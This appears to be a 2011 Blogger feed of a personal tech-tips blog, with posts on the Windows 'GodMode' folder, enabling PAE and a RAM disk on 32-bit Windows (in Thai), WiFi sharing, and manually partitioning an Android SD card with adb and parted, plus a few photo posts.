<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7705119745791690074</id><updated>2012-02-08T12:31:50.149-08:00</updated><title type='text'>***********ມິມີ ສຸກພະໄທ ອິນທະສານ************</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>46</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-1319911156390045496</id><published>2011-10-18T07:13:00.000-07:00</published><updated>2011-10-18T07:17:02.187-07:00</updated><title type='text'>Godmod for Window 7</title><content type='html'>1.Create folder set name :GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}&lt;br /&gt;you will get Administrator tool&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-1319911156390045496?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/1319911156390045496/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=1319911156390045496&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/1319911156390045496'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/1319911156390045496'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/10/godmod-for-window-7.html' title='Godmod for Window 7'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-6205929488940376406</id><published>2011-08-15T06:39:00.000-07:00</published><updated>2011-08-15T06:40:26.524-07:00</updated><title type='text'>ใช้เกิน 4GB ได้ ไม่ต้องง้อ 64 บิต</title><content type='html'>&lt;br /&gt;&lt;br /&gt;Categories&lt;br /&gt;&lt;br /&gt;    Tips &amp; Tricks (15)&lt;br /&gt;    Technical Dic. (10)&lt;br /&gt;    Timeline (9)&lt;br /&gt;    Another Articles (23)&lt;br /&gt;&lt;br /&gt;TIPS &amp; TRICKS&lt;br /&gt;&lt;br /&gt;    Most Popular Articles&lt;br /&gt;    Latest Articles&lt;br /&gt;&lt;br /&gt;TECHNICAL Dic.&lt;br /&gt;&lt;br /&gt;    Most Popular Articles&lt;br /&gt;    Latest Articles&lt;br /&gt;&lt;br /&gt;TIMELINE&lt;br /&gt;&lt;br /&gt;    Most Popular Articles&lt;br /&gt;    Latest Articles&lt;br /&gt;&lt;br /&gt;ANOTHER&lt;br /&gt;&lt;br /&gt;    Most Popular Articles&lt;br /&gt;    Latest Articles&lt;br /&gt;&lt;br /&gt;ดาวน์โหลดใบสมัคร E-Magazine ดาวน์โหลดใบสมัคร Magazine สั่งซื้อ CHIP Magazine ขั้นตอนการสมัคร E-Magazine ชมตัวอย่าง E-Magazine&lt;br /&gt;  Share Facebook Posted: Tue, 8 February 2011 | 10,714 reads&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ปัญหาของวินโดว์ส 32 บิตที่มองเห็นหน่วยความจำ 4GB (หรือมากกว่า) ไม่เต็มความจุ&lt;br /&gt;กำลังจะหมดไปด้วยเทคนิค PAE และวิธีย้ายตำแหน่งอ้างอิง&lt;br /&gt;เหตุใด? ระบบปฏิบัติการ 32 บิต ถึงมองเห็นหน่วยความจำได้ไม่เต็มความจุ&lt;br /&gt;หน่วยความจำ ประกอบด้วยหน่วยเก็บข้อมูลย่อยๆ แต่ละหน่วยเก็บข้อมูลจะถูกอ้างถึงได้โดยแอดเดรส ซึ่งเป็นเลขฐาน 2 แอดเดรสนี้จะร้องขอโดยซีพียูไปยังหน่วยความจำหลัก เพื่ออ่านค่าหน่วยความจำที่แอดเดรสนั้น&lt;br /&gt;&lt;br /&gt;ตัวอย่างเช่น หากซีพียูทำงานในระบบ 3 บิต ก็จะอ้างถึงหน่วยความจำได้ 23 = 8 ช่อง หรือ 8 bytes เมื่อติดตั้งหน่วยความจำเกินกว่าซีพียูจะอ้างถึง เช่น 64 byte ลงไป ซีพียูที่ทำงานในระบบ 3 บิต ก็จะมองเห็นได้เท่าที่ตัวเองจะอ้างอิงนั่นคือ 8 byte เท่านั้น อีก 56 byte จึงกลายเป็นพื้นที่ลึกลับและเปล่าประโยชน์ที่ซีพียูไม่สามารถอ้างถึงได้นั่นเอง&lt;br /&gt;&lt;br /&gt;ในระบบ 32 บิต การอ้างอิงหน่วยความจำหลักจะทำได้ 232 หรือเท่ากับ 4,294,967,296 byte หรือประมาณ 4GB ไม่เกินจากนี้ แต่น่าเสียดายที่อุปกรณ์ต่างๆ ที่ติดตั้งอยู่ในระบบ ตั้งแต่ ตัวคอนโทรลเลอร์ USB การ์ดแสดงผลหรือการ์ดทีวีจูนเนอร์ต่างก็ต้องอ้างถึงพื้นที่หน่วยความจำใน ระบบด้วยเช่นกัน ทำให้ระบบปฏิบัติการต้องกันพื้นที่ของหน่วยความจำประมาณ 300 – 1024MB สำหรับอุปกรณ์นั้นๆ ไว้ ไม่ว่าจะถูกใช้หรือไม่ก็ตาม&lt;br /&gt;&lt;br /&gt;ล้วงลึกหน่วยความจำระบบด้วย Physical Address Extension (PAE)&lt;br /&gt;เมื่อไม่นานมานี้ มีผู้คิดค้นเทคโนโลยี Physical Address Extension (PAE) ที่ช่วยดึงหน่วยความจำหลักของระบบในส่วนที่ถูกกักเก็บไว้กลับมาใช้ได้อีก ครั้ง ใครที่ใช้ซีพียูอินเทลตระกูลเพนเทียมหรือเก่ากว่าซึ่งอ้างถึงพื้นที่หน่วย ความจำได้ 32 Line จะไม่สามารถใช้ประโยชน์จากเทคโนโลยี PAE ได้ แต่ถ้าคุณใช้ซีพียูตั้งแต่เพนเทียมโปรเรื่อยมาจนถึง Core 2 ที่อ้างถึงหน่วยความจำได้มากกว่า 36 line จะรองรับความจุของหน่วยความจำได้สูงสุดถึง 64GB เลยทีเดียว เทคโนโลยี PAE นี้จะสามารถเปิดใช้งานได้ตั้งแต่วินโดว์สเอ็กซ์พี SP2 ขึ้นไป ส่วนจะทำงานได้สมบูรณ์มากน้อยแค่ไหนก็ขึ้นอยู่กับฮาร์ดแวร์ในเครื่องเป็น สำคัญด้วย&lt;br /&gt;&lt;br /&gt;เปิดประตู PAE (Windows XP)&lt;br /&gt;ในวินโดว์สเอ็กซ์พีคุณสามารถเปิดใช้งาน PAE ได้ด้วยการแก้ไขไฟล์  "Boot.ini" การเข้าไปยังไฟล์นี้ ทำได้โดย&lt;br /&gt;&lt;br /&gt;1. กดคีย์ลัด [Windows] + [E] เพื่อเข้ามาที่หน้า My Computer ดับเบิลคลิกเข้าไปที่ไดร์ฟ&lt;br /&gt;หลักที่ติดตั้งระบบปฏิบัติการไว้&lt;br /&gt;&lt;br /&gt;2. คลิกที่เมนู Tools &gt; Folder Options แล้วเอาเครื่องหมายถูกที่หัวข้อ Hide protected operating system files (Recommended) ออก ติ๊กถูกที่หัวข้อ Show hidden files and folders กด OK ก็จะเห็นไฟล์ Boot.ini โชว์ขึ้นมา&lt;br /&gt;&lt;br /&gt;3. คลิกขวาเลือก Properties แล้วเอาเครื่องหมายหน้า Read-only ออก เท่านี้คุณก็แก้ไขไฟล์ Boot.ini ได้แล้ว&lt;br /&gt;&lt;br /&gt;4. ให้คุณเพิ่มคำสั่ง /PAE ต่อท้ายบรรทัดที่ระบุตำแหน่งระบบปฏิบัติการ จากนั้นกด Save และรีสตาร์ทเครื่อง ถ้าฮาร์ดแวร์รองรับคำสั่ง PAE เมื่อเข้ามาที่ Control panel &gt; System คุณก็จะเห็นรายละเอียดหน่วยความจำที่มากขึ้นพร้อมๆ กับคำว่า Physical address enhancement&lt;br /&gt;&lt;br /&gt;เปิดประตู PAE  (Windows Vista / 7)&lt;br /&gt;ในวินโดว์สวิสต้าหรือวินโดว์สเซเว่นก็สามารถทำได้เช่นกัน แต่การเปิดใช้คำสั่งนี้จะเปลี่ยนไป&lt;br /&gt;&lt;br /&gt;1. ให้คุณกดปุ่ม [Windows] แล้วพิมพ์ cmd ลงในช่อง Search Field&lt;br /&gt;&lt;br /&gt;2. จากนั้นคลิกขวาที่ไฟล์ cmd.exe เลือก Run as administrator พิมพ์คำสั่ง “BCDedit/set PAE forceenble” กด Enter แล้วรีสตาร์ทเครื่อง ประสิทธิภาพของคอมพิวเตอร์จะสูงขึ้น ถ้าอุปกรณ์รองรับคำสั่งดังกล่าว&lt;br /&gt;&lt;br /&gt;หมายเหตุ : หากระบบไม่สามารถทำงานได้ ให้เข้าไปที่ Safe mode และลบคำสั่ง /PAE ในไฟล์ Boot.ini (วินโดว์สเอ็กซ์พี) หรือพิมพ์ “BCDedit/set PAE forcedisable” (วินโดว์สวิสต้า/วินโดว์สเซเว่น)&lt;br /&gt;&lt;br /&gt;"หน่วยความจำที่ระบบมอง เห็น เพิ่มขึ้นนั้น จะไม่ได้ถูกนำมาใช้กับระบบโดยตรง แต่จะถูกแปลงให้เป็น RAM-Disk เพื่อใช้ความเร็วของมันให้เป็นประโยชน์ต่อได้ CHIP ขอแนะนำ Gavotte ramdisk สุดยอดโปรแกรมสร้าง RAM-Disk ที่ทำงานได้ดี ใช้งานง่าย และมีให้ดาวน์โหลดจากเว็บไซต์ของเราด้วยเช่นกัน"&lt;br /&gt;&lt;br /&gt;แทนที่ฮาร์ดดิสก์อืดๆ ด้วย RAM-Disk&lt;br /&gt;การติดตั้ง RAM-Disk ทำได้ง่ายและใช้เวลาไม่นานขั้นตอนแรก ต้องแก้ไขการตั้งค่าของ Registry เก่าก่อน โดยดับเบิลคลิกที่ไฟล์ “ram4g.reg” ในโฟลเดอร์ gavotte เพื่อเปิดระบบ จากนั้นคลิกขวาที่โปรแกรม ramdisk เลือก Run as administrator แล้วกดยืนยันการติดตั้งไดรเวอร์ รอสักครู่เพื่อให้ RAM-Disk เข้าสู่ระบบ ขั้นตอนสุดท้ายคือการเลือกขนาดพื้นที่ RAM-Disk ที่ต้องการแล้วกด OK&lt;br /&gt;&lt;br /&gt;คุณสามารถจัดการกับ RAM-Disk และใช้ประโยชน์จากพื้นที่ 500 หรือ 600MB ที่เพิ่มขึ้นมาได้ทันที หลังจากสร้างไดร์ฟแล้ว ระบบจะสร้าง โฟลเดอร์เก็บ Temp File ด้วย ซึ่งจะถูกลบทุกๆ ครั้งที่ชัตดาวน์หรือรีสตาร์ทเครื่อง  อย่างไรก็ตาม พื้นที่จะไม่ได้เพิ่มขึ้นอย่างมีนัยสำคัญ ถ้าคุณตระหนักดีว่า PAE และ Gavotte ทำงานได้อย่างถูกต้องในระบบ&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;คุณสามารถขยายขนาดของ RAM-Disk ได้ด้วยการใส่หน่วยความจำเพิ่มลงไป และปรับเปลี่ยนการตั้งค่าพื้นฐานของเครื่องมือ Gavotte เสียใหม่ RAM-Disk ก็จะขยายขนาดเป็น 4GB ได้เองอัตโนมัติ RAM-Disk ที่ได้สามารถนำไปใช้ประโยชน์ได้หลายแบบ โดยเฉพาะอย่างยิ่ง การเซ็ตให้พื้นที่ของ RAM-Disk ทำงานเป็น Swap File ซึ่งจะช่วยให้ระบบและแอพพลิเคชันทำงานได้เร็วขึ้น&lt;br /&gt;&lt;br /&gt;คุณสามารถตั้งค่า นี้ในวินโดว์สวิสต้าได้&lt;br /&gt;โดยไปที่ Control Panel &gt; System Maintenance&gt; System เลือกหัวข้อ advanced system settings &gt; Performance &gt; Settings ค่ากำหนดของ Swap File จะอยู่ในแท็บ Extended&lt;br /&gt;&lt;br /&gt;สำหรับวินโดว์สเอ็กซ์พี การตั้งค่า&lt;br /&gt;Swap File ต้องเข้าไปตั้งค่าที่ Control Panel &gt; System &gt; Advanced &gt; คลิก Setting ในหัวข้อ Performance &gt; Advanced &gt; คลิก Change ในหัวข้อ Virtual Memory จากนั้นให้ยกเลิกการตั้งค่า Swap File อันเดิมซึ่งจะเป็นไดร์ฟ C: ออกก่อน แล้วค่อยมาเปิดใช้งานที่ไดร์ฟ R: หรือไดร์ฟที่สร้างไว้&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-6205929488940376406?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/6205929488940376406/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=6205929488940376406&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6205929488940376406'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6205929488940376406'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/08/4gb-64.html' title='ใช้เกิน 4GB ได้ ไม่ต้องง้อ 64 บิต'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-6729958031311411014</id><published>2011-07-29T08:39:00.001-07:00</published><updated>2011-07-29T08:39:25.616-07:00</updated><title type='text'>mimi went to joiined wedding</title><content type='html'>&lt;a href='http://4.bp.blogspot.com/-A4KBlu_Jrp8/TjLULPiT2tI/AAAAAAAAJeA/IcJEK8zeMKE/s1600/DSCF8187.JPG'&gt;&lt;img src='http://4.bp.blogspot.com/-A4KBlu_Jrp8/TjLULPiT2tI/AAAAAAAAJeA/IcJEK8zeMKE/s320/DSCF8187.JPG' border='0' alt=''style='clear:both;float:left; margin:0px 10px 10px 0;' /&gt;&lt;/a&gt;&amp;nbsp;&lt;div style='clear:both; text-align:LEFT'&gt;&lt;a href='http://picasa.google.com/blogger/' target='ext'&gt;&lt;img src='http://photos1.blogger.com/pbp.gif' alt='Posted by Picasa' style='border: 0px none ; padding: 0px; background: transparent none repeat scroll 0% 50%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;' align='middle' border='0' /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-6729958031311411014?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/6729958031311411014/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=6729958031311411014&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6729958031311411014'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/6729958031311411014'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/07/mimi-went-to-joiined-wedding_29.html' title='mimi went to joiined wedding'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-A4KBlu_Jrp8/TjLULPiT2tI/AAAAAAAAJeA/IcJEK8zeMKE/s72-c/DSCF8187.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-5905334829522060970</id><published>2011-07-29T08:31:00.000-07:00</published><updated>2011-07-29T08:31:40.342-07:00</updated><title type='text'>datpin cute</title><content type='html'>&lt;a href='http://2.bp.blogspot.com/-WXNPmx-q8Xo/TjLSW_JyieI/AAAAAAAAJd4/3frsJcJrqhA/s1600/image001.jpg'&gt;&lt;img src='http://2.bp.blogspot.com/-WXNPmx-q8Xo/TjLSW_JyieI/AAAAAAAAJd4/3frsJcJrqhA/s320/image001.jpg' border='0' alt=''style='clear:both;float:left; margin:0px 10px 10px 0;' /&gt;&lt;/a&gt;&amp;nbsp;&lt;div style='clear:both; text-align:LEFT'&gt;&lt;a href='http://picasa.google.com/blogger/' target='ext'&gt;&lt;img src='http://photos1.blogger.com/pbp.gif' alt='Posted by Picasa' style='border: 0px none ; padding: 0px; background: transparent none repeat scroll 0% 50%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;' align='middle' border='0' /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-5905334829522060970?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/5905334829522060970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=5905334829522060970&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/5905334829522060970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/5905334829522060970'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/07/datpin-cute.html' title='datpin cute'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-WXNPmx-q8Xo/TjLSW_JyieI/AAAAAAAAJd4/3frsJcJrqhA/s72-c/image001.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-2950352508339842678</id><published>2011-06-23T01:19:00.001-07:00</published><updated>2011-06-23T01:19:43.272-07:00</updated><title type='text'>how to use virtual router and connectify</title><content type='html'>Here is the guide on how to use virtual router and connectify&lt;br /&gt;&lt;br /&gt;On Windows 7 Box:&lt;br /&gt;&lt;br /&gt;    * Download and install Virtual Router or Connectify, you can try one of them. They are hardware specific so read the documentation on their websites about the supported WiFi devices.&lt;br /&gt;    * Fill in the settings panel with your prefered WiFi name, password and internet connection to share&lt;br /&gt;      Virtual Router&lt;br /&gt;&lt;br /&gt;      Virtual Router&lt;br /&gt;      Connectify&lt;br /&gt;&lt;br /&gt;      Connectify&lt;br /&gt;    * Click start button to start sharing&lt;br /&gt;    * On your Wireless Connection Status, click Details to get the network connection information, note the IPV4 Address&lt;br /&gt;&lt;br /&gt;On Android Device&lt;br /&gt;&lt;br /&gt;    * Go to Settings -&gt; Wireless &amp; networks -&gt; Wi-Fi Settings&lt;br /&gt;    * Open Advance settings menu&lt;br /&gt;    * Tick the Use static IP option&lt;br /&gt;    * Enter your desired IP address (ex: 192.168.2.2)  into Ip Address field&lt;br /&gt;    * Enter your IPV4 Address (ex. 192.168.2.1) into Gateway field&lt;br /&gt;    * Enter 255.255.255.0 into Netmask field&lt;br /&gt;    * Enter your internet connection’s DNS server (use ipconfig /all command to get DNS info) into DNS 1 and DNS 2. As an alternative, you can use Google Public DNS: 8.8.8.8 and 8.8.4.4&lt;br /&gt;      Wifi Static IP Setting&lt;br /&gt;&lt;br /&gt;      Wifi Static IP Setting&lt;br /&gt;    * Connect to Wi-Fi using your password&lt;br /&gt;    * Disable and Enable Wi-Fi (in case if it won’t connect)&lt;br /&gt;      Android Wi-Fi&lt;br /&gt;&lt;br /&gt;      Android Wi-Fi&lt;br /&gt;    * Check the connection using browser or other application.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-2950352508339842678?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/2950352508339842678/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=2950352508339842678&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/2950352508339842678'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/2950352508339842678'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/06/how-to-use-virtual-router-and.html' title='how to use virtual router and connectify'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-7164157337287996832</id><published>2011-06-23T01:16:00.000-07:00</published><updated>2011-06-23T01:18:18.590-07:00</updated><title type='text'>How to manually partition your SD card for Android Apps2SD</title><content type='html'>How to manually partition your SD card for Android Apps2SD&lt;br /&gt;Taylor Wimberly on Aug 21, 2009 at 9:27 pm118 comments&lt;br /&gt;How to manually partition your SD card for Android Apps2SD&lt;br /&gt;&lt;br /&gt;Update: You might also want to check out the Amon_RA recovery image which will automatically partition your SD card.&lt;br /&gt;&lt;br /&gt;This article is for people with rooted Android phones.  Everyone else please ignore.  There are dozens of ways to partition your SD card and I would like to share the one that has worked for me every time.  I prefer to manually partition my SD card because it gives me complete control.&lt;br /&gt;&lt;br /&gt;Requirements before getting started:&lt;br /&gt;&lt;br /&gt;    * Cyanogen Recovery Image v1.4 or greater (Easy to install with the 1-click hack)&lt;br /&gt;    * SD Card (Class 6 suggested):  A-DATA has good prices on Amazon (4GB, 8GB, 16GB)&lt;br /&gt;    * Android Device Bridge(ADB):  Comes with the Android SDK.&lt;br /&gt;    * Android build that supports Apps2SD:  I suggest Cyanogen’s latest stable release (Does Apps2SD automatically)&lt;br /&gt;&lt;br /&gt;These instructions apply to both the Windows command prompt and the Mac terminal.  As you can see from my screens, I was using Windows Vista.  You can partition your SD card at any time, but you might as well do it before you flash a new build of Android.  As always, back up your data when performing any hacks.  Partitioning your SD card will erase all data on it. I split this guide into 9 steps, but it is not as difficult as it looks.  Read the whole thing before starting.&lt;br /&gt;&lt;br /&gt;All commands you need to type are in bold (my comments are in parenthesis).  If you do not know how to use ADB, leave a comment for help or read ADB for Dummies over at XDA.&lt;br /&gt;&lt;br /&gt;Step 1.&lt;br /&gt;&lt;br /&gt;Step 1.&lt;br /&gt;&lt;br /&gt;Step 1:  Connect your phone to your computer via USB.  Reboot into recovery mode.&lt;br /&gt;&lt;br /&gt;    * Command: adb shell reboot recovery (this will reboot your phone into Cyanogen’s recovery image.  Or power on phone when holding home button)&lt;br /&gt;    * Command:  adb shell (type this after your phone has booted and on the recovery screen. it should take you to a # prompt)&lt;br /&gt;&lt;br /&gt;Step 2.&lt;br /&gt;&lt;br /&gt;Step 2.&lt;br /&gt;&lt;br /&gt;Step 2:  Open parted to partition your SD card.&lt;br /&gt;&lt;br /&gt;    * Command:  parted /dev/block/mmcblk0 (opens parted and mounts your SD card)&lt;br /&gt;&lt;br /&gt;Step 3.&lt;br /&gt;&lt;br /&gt;Step 3.&lt;br /&gt;&lt;br /&gt;Step 3:  Check the size and partitions of your SD card.  The print command will display this info.  You can see the size of my SD card is 7969 MB (8 GB).  I have 1 partition which is fat32.  If your SD card is blank and no partitions are listed, you can skip to Step 5.&lt;br /&gt;&lt;br /&gt;    * Command: print (displays SD card information)&lt;br /&gt;&lt;br /&gt;Step 4.&lt;br /&gt;&lt;br /&gt;Step 4.&lt;br /&gt;&lt;br /&gt;Step 4:  Remove all existing partitions.  If you have multiple partitions, remove each one at a time.&lt;br /&gt;&lt;br /&gt;    * Command: rm 1 (deletes partition number 1)&lt;br /&gt;    * Command:  rm 2 (if needed. keep going till all partitions are removed)&lt;br /&gt;    * Command:  print (check when you are done to make sure all partitions are removed)&lt;br /&gt;&lt;br /&gt;Step 5.&lt;br /&gt;&lt;br /&gt;Step 5.&lt;br /&gt;&lt;br /&gt;Step 5:  Create your new partitions.  You can make these any size, but the most common setup is 32 MB linux-swap partition, 512 MB ext2 partition, and remaining free space as a fat32 partition.  In order to work properly, the partitions must be created in this order: fat32, ext2, linux-swap.&lt;br /&gt;&lt;br /&gt;The linux-swap partition is used for a swap file on some builds.  Not all builds use linux-swap, but I create one just in case I ever need it.&lt;br /&gt;&lt;br /&gt;The ext2 partition is where your apps will be installed.  I use 512 MB which gives me plenty of room but you can go larger like 1024 MB if you want.  Parted only creates ext2 partitions and we can convert them to ext3 or ext4 later.&lt;br /&gt;&lt;br /&gt;When using the Linux command mkpartfs, you must tell it where to start and and end each partition.  This can be done by taking the total SD card size and subtracting the linux-swap then ext2 partition sizes.  See the following example for my 8 GB card.&lt;br /&gt;&lt;br /&gt;    * Command:  mkpartfs primary fat32 0 7425 (start is 0 and end is Total C)&lt;br /&gt;    * Command:  mkpartfs primary ext2 7425 7937 (start is Total C and end is Total B)&lt;br /&gt;    * Command:  mkpartfs primary linux-swap 7937 7969 (start is Total B and end is Total A)&lt;br /&gt;&lt;br /&gt;Partition sizes for a 8 GB SD card.&lt;br /&gt;&lt;br /&gt;Partition sizes for a 8 GB SD card.&lt;br /&gt;Step 6.&lt;br /&gt;&lt;br /&gt;Step 6.&lt;br /&gt;&lt;br /&gt;Step 6:  Check the sizes of your partitions.  Use the command print again to display the partition sizes.  If you made any mistakes you can return to Step 4 and remove them.&lt;br /&gt;&lt;br /&gt;    * command:  print (displays your partition information)&lt;br /&gt;&lt;br /&gt;Step 7.&lt;br /&gt;&lt;br /&gt;Step 7.&lt;br /&gt;&lt;br /&gt;Step 7:  Exit parted and upgrade your ext2 file system to ext3.  For most users this is the final step.  We suggest all users upgrade to ext3.  Its main advantage over ext2 is journaling which improves reliability and eliminates the need to check the file system after an unclean shutdown.&lt;br /&gt;&lt;br /&gt;    * command:  quit (exit parted and return to # prompt)&lt;br /&gt;    * command:  upgrade_fs (script to upgrade from ext2 to ext3)&lt;br /&gt;&lt;br /&gt;Step 8.&lt;br /&gt;&lt;br /&gt;Step 8.&lt;br /&gt;&lt;br /&gt;Step 8 (Optional):  If you wish, you can upgrade your ext3 partition to ext4.  Skip to Step 9 is you wish to use ext3.  I asked Cyanogen what file system he uses and he tweeted ext4.  The file system offers enhancements like delayed allocation.  See Wikipedia for more info on ext4.&lt;br /&gt;&lt;br /&gt;    * command:  tune2fs -O extents,uninit_bg,dir_index /dev/block/mmcblk0p2 (enter this command from the # prompt)&lt;br /&gt;    * command:  e2fsck -fpDC0 /dev/block/mmcblk0p2 (run e2fsck after tune2fs. wait for the file check to finish)&lt;br /&gt;&lt;br /&gt;Step 9.&lt;br /&gt;&lt;br /&gt;Step 9.&lt;br /&gt;&lt;br /&gt;Step 9: Finished. Check your work with print.&lt;br /&gt;&lt;br /&gt;    * command:  parted /dev/block/mmcblk0 (open parted again)&lt;br /&gt;    * command:  print (check all your system partitions and their sizes)&lt;br /&gt;    * command:  quit (exit parted)&lt;br /&gt;    * command:  reboot (reboot your system to the operating system)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-7164157337287996832?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/7164157337287996832/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=7164157337287996832&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/7164157337287996832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/7164157337287996832'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/06/how-to-manually-partition-your-sd-card.html' title='How to manually partition your SD card for Android Apps2SD'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-7971698145836426572</id><published>2011-06-16T08:17:00.001-07:00</published><updated>2011-06-16T08:18:15.104-07:00</updated><title type='text'>Make laptop act as router</title><content type='html'>&lt;object width="640" height="390"&gt;&lt;param 